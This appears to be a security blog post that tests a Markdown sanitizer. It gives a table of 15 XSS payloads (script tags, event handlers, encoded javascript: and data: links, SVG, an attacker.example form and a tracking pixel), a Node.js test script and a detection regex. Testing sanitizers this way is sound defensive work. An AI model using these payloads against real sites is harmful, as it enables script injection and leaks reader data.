TexToolsAI

15 Markdown XSS Payloads to Test Your Sanitizer

By VeloForge Labs · · 5 min read

Quick answer: To test a Markdown renderer for XSS, feed it a fixed list of hostile inputs (script tags, event handlers, javascript: links, encoded schemes, data: URLs, iframes, SVG) and check that none of the output can run code. The 15 payloads below come with a Node.js script and the results we got from a real marked and sanitize-html pipeline.

TL;DR: Copy the script, point it at your own renderer, and make it part of your test suite. Against our pipeline, all 15 payloads were neutralized as code-execution vectors. Three were passed through on purpose (a remote image, a data: image and a target="_blank" link), and those are product decisions you should make deliberately.

Why test with payloads at all?

Reading a sanitizer's configuration tells you what you meant to allow. Running hostile input through it tells you what it actually does. Both matter, because small mistakes are easy to make: an extra allowed attribute, a scheme list that forgot to lowercase, a code path that skips sanitizing on one route.

A payload list also protects you from regressions. When a dependency upgrade or a refactor changes behavior, a failing test tells you before your users do. If you have not read the background yet, start with Why Markdown is not safe by default.

What did we test?

We ran each payload through the POST /api/convert code that powers TexToolsAI, built locally from the same source: marked parses the Markdown, then sanitize-html applies an allow-list of tags, attributes and URL schemes. The date was 18 November 2026. Your results will differ if your pipeline differs, which is the point of running the test yourself.

The 15 payloads and what came back

# Payload (Markdown input) Output Verdict
1 <script>alert(1)</script> empty Removed
2 <img src=x onerror=alert(1)> <img src="x" /> Handler removed
3 [click](javascript:alert(1)) <a>click</a> href removed
4 [click](JaVaScRiPt:alert(1)) <a>click</a> href removed
5 [click](&#106;avascript:alert(1)) <a>click</a> href removed
6 [click](data:text/html;base64,...) <a>click</a> href removed
7 <iframe src="https://example.com"></iframe> empty Removed
8 <svg onload=alert(1)></svg> empty <p> Removed
9 <p style="background:url(javascript:alert(1))">text</p> <p>text</p> style removed
10 <a href="https://example.com" onclick="alert(1)">x</a> link with href only Handler removed
11 <form action="https://attacker.example">...</form> empty Removed
12 <img src="x" alt="<script>alert(1)</script>"> alt text escaped as &lt;script&gt; Escaped
13 ![x](https://attacker.example/pixel.png?u=1) image kept Passed through
14 ![x](data:image/svg+xml;base64,...) image kept Passed through
15 <a href="https://example.com" target="_blank">x</a> target kept, no rel Passed through

Rows 1 to 12 are the clear wins: every route to running script was closed. Payloads 3 to 6 are worth a second look, because plain Markdown link syntax carried the attack and no HTML was involved. Payload 5 hides the word javascript behind a character entity, and it was still caught.

Which results are judgment calls?

Rows 13 to 15 are not code execution, but you should still decide on purpose.

Remote images (13). The image loads from a host you do not control, which tells that host the reader's IP address and any data placed in the URL. For a blog comment form that may be fine. For a chat product that shows model output, it is a data-leak route. See How to render LLM Markdown output safely for the fix.

data: images (14). Scripts inside an SVG do not run when the SVG is loaded through an <img> tag, so this is inert there. But large data: URLs bloat your pages. If you do not need them, remove data from the allowed image schemes.

target="_blank" without rel (15). Modern browsers treat target="_blank" as if it had noopener, but adding rel="noopener noreferrer" makes the intent explicit and, with nofollow ugc, tells search engines not to pass credit to user-submitted links.

How do I run these against my own renderer?

This Node.js 18+ script sends each payload to an endpoint and flags any output that still contains a script tag, iframe, SVG, form, event-handler attribute, style attribute or a javascript: or data: link. We ran it against our local build and it printed no flags. Swap the URL and headers for your own renderer.

// xss-check.mjs  —  run with: TT_KEY=tt_live_... node xss-check.mjs
const URL_ = "https://texttoolsai.org/api/convert";

const payloads = [
  "<script>alert(1)</script>",
  "<img src=x onerror=alert(1)>",
  "[click](javascript:alert(1))",
  "[click](JaVaScRiPt:alert(1))",
  "[click](&#106;avascript:alert(1))",
  "[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)",
  '<iframe src="https://example.com"></iframe>',
  "<svg onload=alert(1)></svg>",
  '<p style="background:url(javascript:alert(1))">text</p>',
  '<a href="https://example.com" onclick="alert(1)">x</a>',
  '<form action="https://attacker.example"><input name=q></form>',
];

const dangerous = /<script|<iframe|<svg|<form|\son\w+=|style=|href="\s*(javascript|data):/i;
let failed = 0;

for (const markdown of payloads) {
  const res = await fetch(URL_, {
    method: "POST",
    headers: {
      Authorization: `Bearer ${process.env.TT_KEY}`,
      "Content-Type": "application/json",
    },
    body: JSON.stringify({ markdown }),
  });
  const { html = "" } = await res.json();
  if (dangerous.test(html)) {
    failed++;
    console.log("FAIL", JSON.stringify(markdown), "->", html);
  }
}

console.log(failed === 0 ? "All payloads neutralized" : `${failed} payload(s) leaked`);
process.exit(failed ? 1 : 0);

Each run costs one request per payload, so the 11 above use 11 requests. If you hit a limit, the error and rate-limit guide explains the status codes. Check the API docs for authentication details, and the pricing page if you need a key.

What does this test not cover?

A payload list is a floor, not a ceiling. It does not test mutation XSS, where a browser re-parses sanitized markup into something different, and it does not test your front end if you inject HTML in unusual ways. Keep your sanitizer updated, keep the allow-list small, and add a Content-Security-Policy. The comparison of sanitize-html and DOMPurify explains how each library approaches parser differences. For a broader list of attack patterns, the OWASP XSS Filter Evasion Cheat Sheet is the standard reference.

Frequently asked questions

What is a Markdown XSS payload?

It is a piece of Markdown, often containing raw HTML or a dangerous link, that tries to make the reader's browser run attacker-controlled code when the rendered HTML is shown.

Should the test run in CI?

Yes. Run it on every build against your real rendering function, not a mock. A failing payload then blocks the release.

Is passing these 15 payloads enough to call a renderer safe?

No. It shows that common attacks are handled. It does not prove the absence of bugs, so combine it with up-to-date dependencies, a strict allow-list and a Content-Security-Policy.

Do I need to sanitize if I use a Markdown library that escapes HTML?

Check what it escapes. Escaping raw HTML does not by itself restrict link schemes or image sources, so test it with payloads 3 to 6 and 13 to 14.